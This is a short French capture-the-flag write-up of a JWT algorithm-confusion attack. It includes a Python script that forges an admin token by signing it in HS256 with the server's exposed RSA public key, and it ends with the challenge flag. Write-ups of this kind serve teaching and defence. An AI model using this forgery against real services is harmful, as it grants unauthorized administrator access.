La vulnérabilité
L’application utilise JWT avec RS256 (signature asymétrique) pour l’authentification. La clé publique RSA est exposée à /api/public-key. Le problème : le serveur accepte aussi les tokens signés en HS256 (signature symétrique).
L’attaque
En HS256, la même clé sert à signer et vérifier. Si le serveur vérifie un token HS256 en utilisant la clé publique RSA comme secret HMAC, on peut forger n’importe quel token.
import jwt
import base64
# Récupérer la clé publique
pub_key = open("public.pem").read()
# Forger un token admin
payload = {
"sub": "admin",
"role": "administrator",
"iat": 1703030400,
"exp": 1703116800
}
# Signer en HS256 avec la clé publique RSA
token = jwt.encode(payload, pub_key, algorithm="HS256")
print(token)
Exploitation
En envoyant ce token forgé dans le header Authorization: Bearer <token>, le serveur le vérifie avec la clé publique (qu’il utilise comme secret HMAC en mode HS256) et nous accorde l’accès admin.
Flag : flag{jwt_4lg0_c0nfus10n_rs256_hs256}